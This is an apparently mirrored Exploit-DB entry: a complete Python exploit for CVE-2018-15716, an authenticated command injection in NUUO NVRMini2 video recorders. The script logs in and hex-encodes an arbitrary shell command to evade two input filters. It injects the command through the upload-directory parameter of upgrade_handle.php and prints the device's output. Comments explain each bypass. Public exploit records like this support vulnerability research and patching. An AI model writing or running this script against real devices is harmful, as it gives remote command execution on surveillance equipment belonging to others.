NUUO NVRMini2 3.9.1 – (Authenticated) Command Injection

  • 作者: Artem Metla
    日期: 2018-12-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45948/
  • # Exploit Title: NUUO NVRMini2 Authenticated Command Injection
    # Date: December 3, 2018
    # Exploit Author: Artem Metla
    # Vendor Homepage: https://www.nuuo.com/ProductNode.php?node=2#
    # Version: 3.9.1
    # Tested on: NUUO NVRMini2 with firmware 3.9.1
    # CVE : CVE-2018-15716
    # Advisory: https://www.tenable.com/security/research/tra-2018-41
    
    import argparse
    import requests
    import urllib.parse
    import binascii
    import http.cookiejar as cookielib
    import re
    
    
    def run(target, username, password, command):
    """ Authenticate us and execute exploitation """
    # Step 1. Authentication
    payload = {'language':'en', 'user':username, 'pass':password,
    'submit':'Login'}
    r = requests.post(urllib.parse.urljoin(target, 'login.php'),
    data=payload, verify=False, allow_redirects=False)
    
    jar = r.cookies
    
    # Step 2. Prepare a payload
    
    # We're bypassing 2 filters:
    # 1) Instead of using ";" we can try || or &&, to bypass:
    #if(strpos($uploaddir, ';') !== false)
    #{
    #die('[1]Not a valid path.');
    #}
    
    # 2) To bypass this:
    #$cmd = "sed -i 's/".str_replace('/', '\/',
    $current_dir)."/".str_replace('/', '\/', $tmp_upload_dir)."/g'
    ".PHP_CINF_PATH;
    #we have to HEX encode a payload
    #
    #Simple example of payload that we're trying to achieve: '||ls`echo
    -e "\\x20\\x2f"`||' to execue: ls /
    
    # 3) Multiple parameters commands are not supported yet, but the same
    techique could be used for them
    
    # Primitive Bash command parser
    splitted_command = [command]
    for i in range(0, len(command)-1):
    if command[i] == " " and command[i+1] != "-":
    splitted_command = [command[:i], command[i+1:]]
    break
    
    # Encoding a payload
    if len(splitted_command) == 2:
    payload = "".join('\\\\x%s' %
    binascii.hexlify(char.encode('ascii')).decode("utf-8") for char in
    splitted_command[1])
    exploit = '\'||%s `echo -e "%s"`||\'' % (splitted_command[0],
    payload)
    print("Exploit: %s" % exploit)
    else:
    exploit = '\'||%s||\'' % (splitted_command[0])
    print("Exploit: %s" % exploit)
    
    # Step 3. Send a payload
    payload = {'cmd':'writeuploaddir', 'uploaddir':exploit}
    r = requests.get(urllib.parse.urljoin(target, 'upgrade_handle.php'),
    params=payload, verify=False, cookies=jar)
    
    # Step 4. Output processing to grab only needed output
    res = re.search('upload_tmp_dir=([^<>]*)<br />', str(r.content))
    if res:
    print(res.group(1).replace('\\n', '\n'))
    
    
    def main():
    """ Parse command line arguments and start exploit """
    parser = argparse.ArgumentParser(
    add_help=False,
    formatter_class=argparse.RawDescriptionHelpFormatter,
    epilog="Examples: %(prog)s -t http://192.168.0.1/ -u username
    -p password -c whoami")
    
    # Adds arguments to help menu
    parser.add_argument("-h", action="help", help="Print this help message
    then exit")
    parser.add_argument("-t", dest="target", required="yes", help="Target
    URL address like: https://localhost:443/")
    parser.add_argument("-u", dest="username", required="yes",
    help="Username to authenticate")
    parser.add_argument("-p", dest="password", required="yes",
    help="Password to authenticate")
    parser.add_argument("-c", dest="command", required="yes", help="Shell
    command to execute")
    
    # Assigns the arguments to various variables
    args = parser.parse_args()
    
    run(args.target, args.username, args.password, args.command)
    
    
    #
    # Main
    #
    
    if __name__ == "__main__":
    main()